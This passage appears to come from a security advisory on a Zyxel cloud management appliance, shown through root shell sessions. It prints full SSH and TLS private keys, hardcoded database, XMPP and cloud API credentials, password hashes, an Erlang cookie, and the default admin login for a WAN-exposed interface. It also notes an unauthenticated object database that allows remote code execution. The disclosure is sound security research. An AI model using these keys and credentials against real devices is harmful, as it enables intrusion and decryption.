MIIBugIBAAKBgQDLSttOJ+6RcDH+Lavzzo3+vXNeQiWCyE5XsaxUc++QugyxILRA
kWskEqtq+E1ZkX5H52lzguxsVVzWSvdII8yDJoHO26X51o/hLeT20LPokOWQgnoT
eziWd3wEYBYIyko6cBNnQICKFY4JUgo5xVfV4kVFjdqKYM6p5BFyBHSddQIVAOw/
SpLXgrkXAcQ7nUXdhQcAjbT/AoGAMuwFJlCkAV9GSRfElQZkljMG7/P2svnoN9H1
XgZ6mCuIQ/8HNcTgkXAuDZ64RL/QGK+ClhGd0xFrsw9+gWtL1L0ZuwoGcNj2iaZO
h49SoS6IJ+sFb6cHApXrgBgZv0O4FbpL8o5Tl6U2L0i3mlCXMGUSFAzpFTjwxcYG
fDnzrKoCgYBNcFwsJtr5ElvfUHwKoyXZ0xT3PswzL4VCSD9SAASI8VhT2LdYTk7Z
/0q4E9rUPZP4BNehb9juxGNqjW0wcXNnr0VDuN0vz2Vv+nKG6u8KIc1RbKs8J9H5
zzHRidPZLVdU0vVRrM/1kVvIFlZpnl9Ybuz2Ra5ZHPFhJ4SoqbHFRgIUBX+oAX4Z
ffkRUot9igOsNx6txoU=
-----END DSA PRIVATE KEY-----
root@chopin:/opt/axess/etc/ssh# cat ssh_host_ecdsa_key
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIGYB3fxcDt1ket4FRhbFKtqHcQ4K8HPnkAgmvP6hj8InoAoGCCqGSM49
AwEHoUQDQgAE116tsZ+HvPjDY4VvgN76fP/XF6DMUd75vY5DqVR2Av68KSUh5Ns9
yhOyfcNB89XBABE2VpM4h0yljhqwFASQCQ==
-----END EC PRIVATE KEY-----
root@chopin:/opt/axess/etc/ssh# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAyaNk4eTtEKfkcpTQaxB/LL2A/XQhljt1UF22yJUYXh0VJCCJ
SNn36QbNOeI9qsaohlFobaM1ithKyp6rQbZzzw/Jg7W76hA1NLSqbNS7mgg6bD1X
5/M81OJjjQ9iXUXx7/XrT/Of34QMvOjfKsOmtMsUYbk9Qf9G0so58yYGlNMSKNZb
6O4flsztM1LIPYXLZV4uQrV9BjUhSpumvYGc93fw88V5fYEYfGcF0pUVEfBvgGvZ
50558GR+A1LF6IdVbmViAZ6HgxiMaM85F2h7QBbt3SrNOfTO481EBD4j7ipnBpJM
KuRPQQH7KxKEzi8VaE4qVU0eZcIGeMeRr0prnwIDAQABAoIBAAohsKb9FsBYf00W
lyZaDNnVp86UcD+ZOzrPiqinfTL1aSOIkv1bHm7SDavT519WXg9ptcKUidMxLQjj
Uh2aKlWEKI76qbeIGvRMA6g2RDroIO9hYbJg8XSM742d8UZYhmCVTb6VsjnL68vu
M5B1hkHdVmfWo/JV/lwHF0RVa808eulp96xjvHEoHziVFKCXEsS1UDl6h2/+oI1n
5oIPGn7JTU1zGkpf53oDZla0GiO76JtYadGn4NU7g6Y1O3xweqgzKDJlIJhC5rL7
8Rn9Tef1YmjCL+Nhz6fMqkeFMWkaY8HvONyVsulv4qJoCKYKdXzp/vdf+rkKApuq
mTNxSkkCgYEA95y6gCSo1d/plJijGJdD1NT/BS/yMbq78VaIwx/8hHEkKXVedfdk
hEvh8eBxjnkogR3fgPEQSfyu2N4CEYVTdJS72+4hgNRgMDW8ToawqkHnuBfH2+Wp
kFqiw9rPsE5I/MsngSXOVBPipQWk+5HKNlN8AcD7stefuHjmTPrAJfUCgYEA0Hf7
vqn2ZO6Vk3oW6NB+fshWsSK4BzskkB21I/zcMzLFla5qJMKAQQNwmtFgLPl8kvEz
ZkAK1yneKDz1JmF+vC594WDkk9RO3oB0KcYYJSplccaVgGfUiAfvpRMBYwrx6CWS
2GgBkxIpg9XE/XPQlDAl5P5wMqXJtS/AjMSEOsMCgYEAtf0Tdit7i/ZOj1DATsqe
qEcESKO8tqAwkmivi/pudklR8sa47qstza6YGlaEH9sc0glKxFJpTnfRasOBca80
b3MBv9t99FojeEuGY5DLN9fIn52a3xwlTFvRVXH1Q/fF3UbTejB3PYSACBnl8KBu
pw8lDYTxebjRQ5xYaCvEHiECgYEAmInSyRZwVjZFeF3zeXNlu7s3w/FVmuTpwhIa
wzR4o3XZIcc3n6I6Wlf8AyyFJSOAxbx8Eat2wy29gs/nyae5JlUWgt11I75L3386
gH6UmE1HYVMffY978fVsousfLquJioZDxtmDnWvCuNaoh5RA4M3CTKbozgaFa3B/
ggEhiCUCgYEAhcuDPqDYZpDW5pvgLSfb8WmfxMKZqMffrIdjBhMjWSqlY5+M8EHC
7ufXlwa2v2bNmBZCtHYWSAM06lBhEwxW/cDo29V9ncA0kCiwYVKYuof27ziExp1A
530+t7PjU4CKCaNzVcuW9ivQ0HkBnMNAqHGR0lOSBk4Qfizfz2wzLD8=
-----END RSA PRIVATE KEY-----
root@chopin:/opt/axess/etc/ssh#
It should be noted the private keys are using wrong permissions and are world-readable (644).
Same problem again in the "mysql" chroot:
root@chopin:/opt/mysql/etc/ssh# ls -la
total 156
drwxr-xr-x 2 root root 4096 Mar 18 2015 .
drwxr-xr-x 66 root root 4096 Mar 6 2018 ..
-rw-r--r-- 1 root root 125749 Apr 3 2014 moduli
-rw-r--r-- 1 root root 1669 Apr 3 2014 ssh_config
-rw-r--r-- 1 root root 2453 Mar 18 2015 sshd_config
-rw------- 1 root root 668 Mar 18 2015 ssh_host_dsa_key
-rw-r--r-- 1 root root 601 Mar 18 2015 ssh_host_dsa_key.pub
-rw------- 1 root root 1679 Mar 18 2015 ssh_host_rsa_key
-rw-r--r-- 1 root root 393 Mar 18 2015 ssh_host_rsa_key.pub
root@chopin:/opt/mysql/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done
1024 3e:46:e9:be:c0:8c:ba:dc:46:3a:3f:22:4f:77:0b:ae root@chopin (DSA)
2048 da:b5:27:e4:80:da:4e:18:cf:b9:52:49:2c:72:e2:ce root@chopin (RSA)
root@chopin:/opt/mysql/etc/ssh# cat ssh_host_dsa_key
-----BEGIN DSA PRIVATE KEY-----
MIIBuwIBAAKBgQDWqnzU+ljijXqKw5vEG+p6euc73+CrIDP+JAqvD6udBLe8ojDi
8l3N8l4BxXKcTwGAEeHQMMtPthNvPrO4IMVdf9Z/3mhRhX9x7NB/Fm7JrCjDwY4c
x8R+inJk9y86ow7fUodKfN9nt5Zh6FsfPs/0vq4Mg2MLjUkiau3UQy7mhQIVAOCr
fau8ONhgh8vCPvw8mIVIJnmbAoGAEqWt4/b1D7Fevf3b2afmMt02zUDNIvlxJjhL
EcG4Q6FxT0WwKIdBGDeOaB7gGR7acWvfr5yrMhQLgvAWMhdlkG0UY4Q/2Kh0PR1p
D4ZMssaxHnt/EprT+GxZfy4e9MhK3RwdeYCSwfvbcIKznFbHv+AUDZ6j/KRpU1e/
Pi//Yl8CgYBCt5jPU0bIymiXaX3FnDNBoydI9lmU0z8qVDDp49vZdOJnemtzU7d5
4k8UGOoBSZ12PC+W0ZNJNH5jWA2DV5+Pajq+UsYW6JHog8PMHmdLDo6+yF96avsE
8bGrSWqSV0NZ8g7NVRasuajJVZHoe1gpENTvd+LxbKHiv7f4bvqGQwIVAMS7rCpe
UyV29YpCEwVrL5CXEAeW
-----END DSA PRIVATE KEY-----
root@chopin:/opt/mysql/etc/ssh# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAvnS8NXGuXVlFTmotghmZgNE3weboUbqiUjznYqZlaIbvhvS5
GYlVZMYgtEj4y2+perz9wuvdv8/M+it3cc4XfQdpASY1niL/P5M304tD+9ah/z3A
VD1OxDRevC7LQlkXOFJrlQ5RRTR1cmChsLWi9zEFbDSzJy9anZk+U/uQSQZsy71O
0ZntWSkjnH79+OA6GqKJ5S9PNhqaFWmB76kBbf21iWki2acIErhGg9ThnmR0vFRy
/QqeH8P83RDXYzd0nkLgxjL3GNI+Y/Dw+h6ks0zNoGIGfE1QsFc3gtkv8B28uomV
fTo5xLS+/UKKmZnCq0UPC3cElskhAtYMYfZgkQIDAQABAoIBADnl3O1WUM55+/K5
nnoFdD/P2mZs3sUxunTLpP+9W+ip1JkvPjIAKOCIxppn8JJPsLLqTy55a6EK9+I5
YodLQqK0pPw/dF9NflECXR9HH/SoK/ke+Z/iP1awIPiONSZHVSK/E4ttndEvAGEz
9RN2NEN3OJHLd4b7A04Trvny6Mr5zYe6bXgLK7DZRzE+dAUVIP4XVltdFh26KlhG
UvO2ihU+Tuz9AxhP3+UIgndMMsFhxk52ItBobCSts5WzPrzZs+QWXmoS6gcWnYU7
3LohV9Kn8lpDiu/lB7dQz/awyWaEKOf1U+p473qmH53+HahT50Apj27djtF4lvEx
Lfv8ct0CgYEA6wMyHEzVh0OLJNJ2J3RgebsfukTigM8QQqMKWqUep55/66W/85QL
mejFd2ipOJZF/VV/fqw+ocK8Z9ztlW2S0O3JRC29Gs7icwvUnErr0g7k5Xs3m61N
pteRH1ATxW+bX12I9BWpQv6jMZcR1xXNz4yn0XSumZz/vZ7ABxntR6sCgYEAz3bm
FECHPRtzg68/eHPbZ+A+3sD7vuH7AuD1X6yWozWgdE7aGf0wG+CFerNQBgqkv1R6
JMOT/lqQg/T8j/EWuGfIQcHHso2/ePSPl08YsAaXdmy2f+OSNC4CqdCeBLRgFvjt
gxhge8iunu/tWUsB9iAiBPS2bsQVX+ymDE7TzLMCgYEAi39BHmVJFdo03K2EbtT4
cylsos9Ct3yxRSyr97QtZweBHOos7zOAU2JE3CUm1Sz17HL0k8dAAhqqZOhRqjH5
RMTwg+S2bBRDfFCYahFauzwWCFVEY8bR4efw/2oz4izmSAwoP+Ifr2Ggks3+S/Jo
UPtHnd+pyArWDsMNbumn27MCgYApOpe+rpQxsKLkKI+UgHG50varje55oK8hg1NA
ECxfgujANGtjfs1wvM3J9JiSmsriuwcLB1MB2T2e+7C1alP5kaZaawgkk8bZYsCm
cTGWybiP8ErUX4VOmVYuKSc+CBqQdie9Rbrm3prVOxkQBbf+EaSxF3Cp0o3s4jqd
d4zfwQKBgQDeZmWqkMX/vmwV4GzgV2FRNcVry5nNWlt6wroF7DEuA7WGAZVRSBx0
nPzDkq3jorJEzXBmIwMNy3IN5NIdin/GSxbMMwx7JvKaPVKw5GubmICO/T9hVurJ
2RnfOAuZaMQ1bZSD49jEV30cxBM/gPORyyAHGrlyG2kHoXan5aDcHQ==
-----END RSA PRIVATE KEY-----
root@chopin:/opt/mysql/etc/ssh#
Hopefully, the root account has been disabled in the /etc/shadow file
(1234
is the password if the account is re-enabled).
The management access using the secu_manager
user is still vulnerable to MITM/decryption.
MySQL is pre-configured with several static accounts. It only listens to the loopback interface.
Credentials:
The access have been extracted from the previous mysql history file and several configuration files:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'61.222.86.79' IDENTIFIED BY 'axiros';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'118.163.48.108' IDENTIFIED BY 'axiros';
INSERT INTO `user` VALUES ('localhost','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('chopin','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('127.0.0.1','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('localhost','debian-sys-maint','*D000798D1C7EC350F7AA4E44B2D68A0770B85194',[...]
('127.0.0.1','livedbuser','*42D02F8D1F74B2F0252592EFFCE69BEEE35FA06B',[...]
('127.0.0.1','zyxel','*B149E2C1869FF94FD5ED8F2C882486599B4CF8E4',[...]
('118.163.48.108','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('61.222.86.79','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('%','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
These passwords are hardcoded by the vendor and used everywhere:
From collectd:
<Plugin mysql>
<Database live>
Host "127.0.0.1"
User "livedbuser"
Password "axzyxel"
Port 3306
Database "live"
</Database>
</Plugin>
From Axess TR-069 solutions:
root@chopin:/opt# cat /opt/axess/etc/axess/TR69/Managers/_live/asynch/mysqlCPEStorage/db.txt
[...]
server=127.0.0.1
port=3306
tablename=CPEManager_CPEs
[...]
user=livedbuser
password=axzyxel
[...]
root@chopin:/opt/axess/opt/axess/zyxel# cat zodb_checkout.sh | grep root
mysqldump -h 127.0.0.1 -u root -paxiros live ScenarioObjects > /opt/axess/zyxel/zyxel_customizations/dbdumps/policies_table.sql
mysqldump -h 127.0.0.1 -u root -paxiros live axalarm_handlers > /opt/axess/zyxel/zyxel_customizations/dbdumps/alarms_table.sql
mysqldump -h 127.0.0.1 -u root -paxiros live AXServiceDefinitionTable > /opt/axess/zyxel/zyxel_customizations/dbdumps/services_table.sql
mysqldump -h 127.0.0.1 -u root -paxiros --no-data live CPEManager_CPEs > /opt/axess/zyxel/zyxel_customizations/dbdumps/cpes_table.sql
And from various places inside Python code:
/opt/axess/opt/axess/Extensions/recreate_all_realm.pyc
db = MySQLdb.connect(host='127.0.0.1', user='root', passwd='axiros', db=cnmid)
Also the system account debian-sys-maint
is using a non-editable hardcoded password wbboEZ4BN3ssxAfM
:
root@chopin:/opt/mysql/etc/mysql# cat debian.cnf
# Automatically generated for Debian scripts. DO NOT TOUCH!
[client]
host = localhost
user = debian-sys-maint
password = wbboEZ4BN3ssxAfM
[...]
host = localhost
user = debian-sys-maint
password = wbboEZ4BN3ssxAfM
[...]
Ejabberd is used to manage all the CPEs connected through TR-069.
The Ejabberd process uses an hardcoded certificate along with a private key:
root@chopin:/opt/production_xmpp/etc/ejabberd# cat ejabberd.cfg [...] {5222, ejabberd_c2s, [ {access, c2s}, {shaper, c2s_shaper}, {max_stanza_size, 65536}, %%zlib, starttls, {certfile, "/etc/ejabberd/ejabberd.pem"} ]}, [...]
Content of ejabberd.pem
:
root@chopin:/opt/production_xmpp/etc/ejabberd# cat ejabberd.pem
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQDppPTghA6irhkzfDA1PyDV/cJzjN946mUV2uq4PiI3Uk5gaIZZ
15CV1rPKKxH1UguIfNHTFfyHC0Td478IprCYuiWE6Yw/5/NTc0pHkW3MeYllc711
R6ZtKTYbn3n5HbmHJzluuBm8qWdgyO2HAG0l1uf5P29Nerra0LMj8MKULwIDAQAB
AoGBAJfMH3ja83NIL4FetydxC1FcnABczzgM+X34jDUF0U8l/1vtrRQj1IE1S/wW
fYVoN6wGhIBjMX0/mg+bjxr8yZBCp96XZCu/POqNqOHPvvFrFryGSzqh/LkG0+tG
ojXjIpYd+Y6eTz2Fj2DPRyczaGJod1SxUz41v92GiyWGTFnhAkEA/Z8Dhxhu8ZNK
nBl+lkE6X0tCZ0kn1Hkq8zIKWVvSsu859u7t7+5/LoBRYkqx0FwoPl2+uBY6BtQV
0AQT/S5d3wJBAOvV+ad1JnGO6gMEnAdtwv0fvBlUB1arisI+CbgUOf9PgPITwEFQ
CvQWktVB8NjjxdaTtYskYvK4NU4SIKCH87ECQQDRcEcRgPPdOq0aS1Nl8Weq2hN0
B82EgKsfOeuh71oHudY8PQLwaBtO41hRuy0ry27QUcn1ayVwDiQVK8j2AxwxAkEA
1oLTyYCijiobKtGXhp5M/OZPto4a+refyBybxIcJVfQf6pESj5XZ0Llzp2yKQQ21
Fv9V4xEeu33YZoHQkZP3kQJBALJPeT67cR8H7k4FdGXFh6vJdNILZ/91ac9cFZf3
ZjabcZWnSgn1QD9ARV/Cd2dsX3xGY4vuoM4hvwjHKAMWHhg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDEDCCAnmgAwIBAgIJAPvsRdD6v5ITMA0GCSqGSIb3DQEBBQUAMGQxFTATBgNV
BAoTDHp5eGVsLmNvbS50dzEPMA0GA1UECxMGY2hvcGluMREwDwYDVQQDEwhlamFi
YmVyZDEnMCUGCSqGSIb3DQEJARYYcm9vdEBjaG9waW4uenl4ZWwuY29tLnR3MB4X
DTE1MDQxMzE2MzIxNFoXDTE2MDQxMjE2MzIxNFowZDEVMBMGA1UEChMMenl4ZWwu
Y29tLnR3MQ8wDQYDVQQLEwZjaG9waW4xETAPBgNVBAMTCGVqYWJiZXJkMScwJQYJ
KoZIhvcNAQkBFhhyb290QGNob3Bpbi56eXhlbC5jb20udHcwgZ8wDQYJKoZIhvcN
AQEBBQADgY0AMIGJAoGBAOmk9OCEDqKuGTN8MDU/INX9wnOM33jqZRXa6rg+IjdS
TmBohlnXkJXWs8orEfVSC4h80dMV/IcLRN3jvwimsJi6JYTpjD/n81NzSkeRbcx5
iWVzvXVHpm0pNhufefkduYcnOW64GbypZ2DI7YcAbSXW5/k/b016utrQsyPwwpQv
AgMBAAGjgckwgcYwHQYDVR0OBBYEFE1fcSfVUJtFKuVzIr7Ps8lasbKYMIGWBgNV
HSMEgY4wgYuAFE1fcSfVUJtFKuVzIr7Ps8lasbKYoWikZjBkMRUwEwYDVQQKEwx6
eXhlbC5jb20udHcxDzANBgNVBAsTBmNob3BpbjERMA8GA1UEAxMIZWphYmJlcmQx
JzAlBgkqhkiG9w0BCQEWGHJvb3RAY2hvcGluLnp5eGVsLmNvbS50d4IJAPvsRdD6
v5ITMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADgYEAECFhOm4y+Ad31tXd
Nfl2XyU5g6arxLMlrH2sSUcne2EkRNUZsKoEM0MkLUir7oBDqf+gd9dC92zF7qrr
iaeOrMVtFpNu3lBx/YSubhENDyegalWT8zi4TYdxz2ehExGpl0SRjhtrdqs99R+2
gm711P4aV1TQaC+WMpkIP6eyIMM=
-----END CERTIFICATE-----
Also, the management webservice is reachable on the WAN interface on port 5280/tcp. It allows to list accounts (linked to CPEs) and remove them. The authentication is using hardcoded credentials:
http://[ip]:5280/admin/
An attacker can visit the administration, manage all the CPEs using the default
credentials (a1@chopin
/ cloud1234
) and create some havoc:
http://[ip]:5280/admin/vhosts/
These credentials are hardcoded inside /opt/axess/opt/axXMPPHandler/config/xmpp_config.py
:
XMPP_PORT = 5222
XMPP_SERVER = "127.0.0.1"
XMPP_JID = "a1@chopin"
XMPP_PASS = "cloud1234"
Also, the permissions of this file are wrong and this file is world-readable
root@chopin:~/pre-auth-rce-4# ls -la /opt/axess/opt/axXMPPHandler/config/xmpp_config.py
-rw-r--r-- 1 root root 1738 Mar 6 2018 /opt/axess/opt/axXMPPHandler/config/xmpp_config.py
Also, the shared secret for ejabberd replication, called the Erlang cookie, is hardcoded:
root@chopin:/opt/production_xmpp/var/lib/ejabberd# hexdump -C .erlang.cookie
00000000 42 41 4b 56 41 55 48 4d 51 52 49 53 49 4a 59 55 |BAKVAUHMQRISIJYU|
00000010 45 56 4d 4b |EVMK|
00000014
ZODB is a native object database for Python.
By default, a python process managing the 'Zope Object Database' runs on the appliance and is reachable over the network on port 8100/tcp without authentication:
/usr/bin/python2.7 /opt/axess/eggs/ZODB3-3.10.5-py2.7-linux-x86_64.egg/ZEO/runzeo.py -C /opt/axess/parts/zeo/etc/zeo.conf
Configuration:
root@chopin:/opt/axess/opt/axess/parts/zeo/etc# cat zeo.conf
[...]
address 8100
read-only false
[...]
path /opt/axess/var/filestorage/Data.fs
blob-dir /opt/axess/var/blobstorage
[...]
Futhermore, by default, the logfile contains multiple (=~ 100) entries from 2016 about 'insecure mode setting':
2016-02-29T13:45:04 (17833) Blob dir /opt/axess/var/blobstorage/ has insecure mode setting
The blob directory has wrong permissions and is world-readable:
root@chopin:/opt/axess/opt/axess/var/blobstorage# ls -latr
total 16
drwxr-xr-x 2 210 210 4096 Feb 29 2016 tmp
-rw-r--r-- 1 210 210 0 Jul 12 2016 .removed
-rwxr-xr-x 1 210 210 5 Mar 6 2018 .layout
drwxr-xr-x 3 210 210 4096 Mar 6 2018 .
drwxr-xr-t 6 210 210 4096 Dec 20 2019 ..
root@chopin:/opt/axess/opt/axess/var/blobstorage#
The Data.fs
file has also wrong permissions and is world-readable:
root@chopin:/opt/axess/opt/axess/var/blobstorage# ls -la /opt/axess/opt/axess/var/filestorage/Data.fs
-rw-r--r-- 1 210 210 31398638 Mar 6 2018 /opt/axess/opt/axess/var/filestorage/Data.fs
This file contains cookies, password, hashes, access controls parameters, python code, serialized python variables and logs from TR-069:
U<$2a$04$8B2Na1n.pzBrMw.8CTSBG.zDzWXnJug.qyvRnN/AxYhVFqkhFcmZ2q
U*{SSHA}q3rGsS15vOGeM6Dv0xuwlF0uq91oIHoz0mD8q
# {'CommandResponseList': {'CommandResponse': {'COMMAND': {'ERRNO': u'0', 'ERRMSG': u'OK', 'FORMAT': {'DATASET': {'ATTRIBUTE': [{'_Activate': u'YES'}, {'_ACS_URL': u'http://192.168.50.2:7549/V6ABQNTPYG'}, {'_ACS_Username': u'Wd6XbWa04D7Y'}, {'_ACS_Password': u'6H0pyh1IlyW8'}, {'_Username': ''}, {'_Password': ''}, {'_Server_Type': u'TR069 ACS'}, {'_Periodic_Inform': u'ENABLE'}, {'_Periodic_Inform_Interval': u'900'}, {'_HTTPS_Authentication': u'YES'}, {'_Vantage_Certificate': u'axess_dummy.crt'}, {'_CNM_ID_Switch': u'NO'}, {'_Auto_get_ACS_Activate': u'NO'}, {'_CNM_ID': ''}, {'_XMPP_Activate': u'YES'}, {'_XMPP_Username': u'a2'}, {'_XMPP_Domain': u'chopin'}, {'_XMPP_Resource': u'EC43F6FCC646'}, {'_XMPP_Host': u'192.168.50.2'}]}}}}}, 'ScriptFile': u'/etc/zyxel/ftp/.tmp/tr069download.dat', 'StartTime': u'2017-08-30T09:54:25', 'CompleteTime': u'2017-08-30T09:54:25'}
#subtree = {'CommandResponseList': {'CommandResponse': {'COMMAND': {'ERRNO': u'0', 'ERRMSG': u'OK', 'FORMAT': {'DATASET': {'DATASET': {'ATTRIBUTE': [{'DS_VALUE': u'P2P_201506181030'}, {'IKD_ID': u'3'}, {'negotiation_mode': u'main'}, {'SA_lifetime': u'86400'}, {'key_group': u'group2'}, {'NAT_traversal': u'yes'}, {'dead_peer_detection': u'yes'}, {'fall_back': u'deactivate'}, {'fall_back_check_interval': u'300'}, {'authentication_method': u'pre-share'}, {'pre_shared_key': u'87654321'}, {'certificate': u'default'}, {'user_ID': ''}, {'type': ''}, {'VPN_connection': u'P2P_201506181030'}, {'vcp_reference_count': u'0'}, {'IKE_version': u'IKEv1'}, {'active': u'yes'}], 'DATASET': [{'ATTRIBUTE': [{'DS_VALUE': u'1'}, {'encryption': u'3des'}, {'authentication': u'sha'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'192.168.50.3'}, {'type': u'ip'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'1'}, {'address': u'192.168.50.8'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'2'}, {'address': u'0.0.0.0'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'B0B2DC7189C4'}, {'type': u'fqdn'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'201506181030'}, {'type': u'fqdn'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'no'}, {'type': ''}, {'method': ''}, {'username': ''}, {'password': ''}]}, {'ATTRIBUTE': [{'DS_VALUE': u'no'}, {'type': ''}, {'aaa_method': ''}, {'allowed_user': ''}, {'allowed_auth_method': u'mschapv2'}, {'username': ''}, {'auth_method': u'mschapv2'}, {'password': ''}]}]}}}}}}, 'ScriptFile': u'/etc/zyxel/ftp/.tmp/tr069download.dat', 'StartTime': u'2017-06-21T04:10:09', 'CompleteTime': u'2017-06-21T04:10:09'}
Exposing this service on the WAN is likely to be a bad idea and will result as a pre-auth RCE as axess
.
The device can connect to the MyZyxel service. The code responsible to exchange information between the appliance and the 'Cloud' is written in java.
The JAR file is executed from myzyxel.pyc
using subprocess.Popen
:
def decrypt(encrypted_string, encrypted_secret_key, action='aes_decode_with_plain_key'): JAVA_PROGRAM = 'java' Delegate_Util = '/opt/axess/Extensions/custom_code/MZCDelegate-protect.jar' RESULT_DECODING = 'UTF-8' sp = subprocess.Popen([JAVA_PROGRAM, '-jar', Delegate_Util, action, encrypted_secret_key, encrypted_string], stdout=subprocess.PIPE, stderr=subprocess.PIPE) [...]
The MZCDelegate-protect.jar
file contains specific Zyxel code for encryption and has an interesting hardcoded resource file (IV.dat
).
When reading the java code, it appears this IV.dat
resource is used as as Secret Key along with a defined Initialization Vector (containing only 0s).
It seems this behavior may not completely follow best practices when dealing with encryption:
[...] public final String a(String str) { IvParameterSpec ivParameterSpec = new IvParameterSpec(new byte[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}); ObjectInputStream objectInputStream = new ObjectInputStream(getClass().getResourceAsStream("/IV.dat")); try { Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding"); instance.init(2, (SecretKeySpec) objectInputStream.readObject(), ivParameterSpec); String str2 = new String(instance.doFinal(Base64.decodeBase64(str))); objectInputStream.close(); return str2; } [...]
Content of IV.dat
:
vm# hexdump -C ./resources/IV.dat
00000000 ac ed 00 05 73 72 00 1f 6a 61 76 61 78 2e 63 72 |....sr..javax.cr|
00000010 79 70 74 6f 2e 73 70 65 63 2e 53 65 63 72 65 74 |ypto.spec.Secret|
00000020 4b 65 79 53 70 65 63 5b 47 0b 66 e2 30 61 4d 02 |KeySpec[G.f.0aM.|
00000030 00 02 4c 00 09 61 6c 67 6f 72 69 74 68 6d 74 00 |..L..algorithmt.|
00000040 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 |.Ljava/lang/Stri|
00000050 6e 67 3b 5b 00 03 6b 65 79 74 00 02 5b 42 78 70 |ng;[..keyt..[Bxp|
00000060 74 00 03 41 45 53 75 72 00 02 5b 42 ac f3 17 f8 |t..AESur..[B....|
00000070 06 08 54 e0 02 00 00 78 70 00 00 00 20 ac d3 eb |..T....xp... ...|
00000080 1d 3c c1 af 97 82 59 ab 2b d5 00 9d 64 1f b5 1c |.<....Y.+...d...|
00000090 bf 49 ed 2a 23 7c 65 f0 97 54 cc 88 09 |.I.*#|e..T...|
0000009d
Finally, it is interesting to note that myzyxel.pyc
contains also hardcoded credentials:
user_key_id = '4B1D916BE2FA76042316'
user_secret = 'PAZsJJ55frFmNivjAzgjYPC4fCQc3Wi9WVVZ5w=='
When reading the source code of the web (Python) application, it appears some critical variables are being imported:
root@chopin:/opt/axess/opt/axess# cat /opt/axess/opt/axess/zyxel/zyxel_customizations/live.CloudCNMEntryPoint/config/config.py
axess_config = container.TR69Utils.get_axess_default_config()
config = {
"zyxel_portal": {
"host": axess_config.get('ZYXEL_PORTAL_HOST'),
"app_key": axess_config.get('APP_KEY'),
"login_redirect_uri": "/live/CloudCNMEntryPoint",
"logout_redirect_uri": "/live/CloudCNMEntryPoint"
}, "oauth_secret_key": axess_config.get('OAUTH_SECRET_KEY'),
"jwt_secret": axess_config.get('SERVER_ACCESS_SECRET'),
"jwt_secret_id": axess_config.get('SERVER_ACCESS_KEY_ID'),
"account_api_url": axess_config.get('ACCOUNT_API_URL'),
"https_verify": axess_config.get('HTTPS_VERIFY') == True,
}
The hardcoded configuration parameters come directly from the /opt/axess/etc/default/axess
file:
NBI_USER="admin"
NBI_PASS="ax"
# Zyxel specific parameters
SERVER_ACCESS_KEY_ID=""
SERVER_ACCESS_SECRET=""
CNMS_API_URL="https://api.myzyxel.com/v1/my/cloud_cnms"
SECU_API_URL="https://api.myzyxel.com/v2/my/secu_managers"
APP_KEY="85ca73265e977fd46805163b8f7d66b0395b56f31b7e5850f2514f10d41a482b"
OAUTH_SECRET_KEY="SvaK1LoGZMu8ZgZ6TKJGCwx+xiEBooSLmaQUiyAyUDTDbHFZtT3PCob9QL/pfzA3oGw0t0ANVO4KTbkrAwonP4lL+ax0ijqS9cAtTPGSMfw="
ZYXEL_PORTAL_HOST="https://portal.myzyxel.com/"
DECRYPT_URL=""
Furthermore, the permissions of this file allows any user to read this file:
root@chopin:/opt/axess/opt/axess# ls -la /opt/axess/etc/default/axess
-rw-r--r-- 1 root root 2607 Mar 6 2018 /opt/axess/etc/default/axess
These hardcoded keys are used for secure communications between the appliance and the 'Cloud' management.
By default, we can extract the pre-defined admin and the pre-defined users from mysql:
mysql> select * from Administrator_users;
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| uid | props |
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| admin | {'username': 'admin', 'created_ts': 'Mon Mar 21 15:48:12 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$O2K8FGHtvfaLE7QaIVlgP.GO0CWfrwwBuFBRNTvghCrfvf.nZAg0C', 'id': 'admin'} |
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select * from Users_users;
+-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| uid | props |
+-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| admin | {'username': 'admin', 'created_ts': 'Fri May 8 11:25:20 2015', 'roles': ['Manager'], 'authdbid': 'Users-342940', 'password_change_ts': 'Mon Jun 8 15:45:45 2015', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$4YkCCSqUFy4hf/5WluCok./OVGe2LSQZNF4IR4Je5H7xqzfMrivmm', 'id': 'admin'} |
+-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
